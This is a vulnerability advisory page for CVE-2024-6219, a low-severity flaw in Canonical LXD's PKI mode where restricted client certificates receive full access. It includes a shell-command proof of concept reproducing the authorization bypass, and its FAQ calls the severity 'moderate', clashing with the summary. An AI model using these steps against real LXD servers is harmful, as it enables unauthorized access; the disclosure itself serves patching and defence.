CVE-2024-6219: Low severity go/github.com/canonical/lxd vulnerability

Published Dec 5, 2024
·
Updated

Summary If a server.ca file is present in LXDDIR at LXD start up, LXD is in "PKI mode". In this mode, all clients must have certificates that have been signed by the CA.

The LXD configuration option core.trustcacertificates defaults to false. This means that although the client certificate has been signed by the CA, LXD will additionally add the certificate to the trust store and verify it via mTLS.

When a restricted certificate is added to the trust store in this mode, it's restrictions are not honoured, and the client has full access to LXD.

Details When authorization was refactored to allow for generalisation (at the time for TLS, RBAC, and OpenFGA, see https://github.com/canonical/lxd/pull/12313), PKI mode did not account for the core.trustcacertificates configuration option. When this option is enabled, all CA-signed client certificates are given full access to LXD. This cherry-pick from Incus was added to LXD to fix the issue.

The cherry-pick fixed the immediate issue and allowed full access to LXD for CA-signed client certificates when core.trustcacertificates is enabled, but did not consider the behaviour of LXD when core.trustcacertificates is disabled.

When core.trustcacertificates is false, restrictions that are applied to a certificate should be honoured. Instead, they are being ignored due to the presence of a server.ca file in LXDDIR.

PoC Install/initialize LXD $ snap install lxd --channel 5.21/stable $ lxd init --auto $ lxc config set core.httpsaddress=127.0.0.1:8443

Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa $ cp -R /usr/share/easy-rsa "/tmp/pki" $ export EASYRSAKEYSIZE=4096 $ cd /tmp/pki $ ./easyrsa init-pki $ echo "lxd" | ./easyrsa build-ca nopass $ ./easyrsa build-client-full lxd-client nopass $ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca $ cp pki/issued/lxd-client.crt ~/snap/lxd/common/config/client.crt $ cp pki/private/lxd-client.key ~/snap/lxd/common/config/client.key

Restart daemon. $ systemctl reload snap.lxd.daemon

Add a restricted certificate to the trust store. $ token="$(lxc config trust add --name ca-test --quiet --restricted)" $ lxc remote add tls "${token}"

Our client has a CA-signed certificate, but it is restricted, so the client should not be able to view server config. $ lxc config get tls: core.httpsaddress 127.0.0.1:8443

Impact I believe this vulnerability is low impact because PKI mode is: 1. Not the standard or recommended mode of operation for LXD. 2. While core.trustcacertificates defaults to false, we believe that users who enable PKI mode will generally have core.trustcacertificates enabled to allow for passwordless PKI with CRL revocation (see https://github.com/canonical/lxd/issues/3832). When this mode is enabled, all clients with CA-signed certificates have root access anyway.

Note: If a restricted certificate is added before core.trustcacertificates is enabled, the certificate becomes unrestricted. We believe this was the original intention of the PR, but this should be changed to disallow any unintended permission change.

Other sources

Mark Laing discovered in LXD's PKI mode, until version 5.21.1, that a restricted certificate could be added to the trust store with its restrictions not honoured.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/canonical/lxd<0.0.0-20240403103450-0e7f2b5bf4d2
0.0.0-20240403103450-0e7f2b5bf4d2
Canonical LXD<5.21.1

Event History

Dec 5, 2024
CVE Published
via MITRE·11:13 PM
Data Sourced
via MITRE·11:13 PM
DescriptionSeverity
Dec 6, 2024
Data Sourced
via NVD·12:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·12:15 AM
Affected Software
Dec 9, 2024
Advisory Published
via GitHub·10:43 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-6219?

CVE-2024-6219 is categorized with a moderate severity due to potential certificate validation issues.

2

How do I fix CVE-2024-6219?

To address CVE-2024-6219, update the affected LXD package to version 0.0.0-20240403103450-0e7f2b5bf4d2 or later.

3

What systems are affected by CVE-2024-6219?

CVE-2024-6219 affects systems running the LXD package from the specified version range.

4

How does CVE-2024-6219 impact clients?

CVE-2024-6219 impacts clients by requiring certificates to be signed by the CA present in "PKI mode".

5

What configuration options should I check for CVE-2024-6219?

Check the configuration option 'core.trust_ca_certificates' as it defaults to 'false' and may affect client connections.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203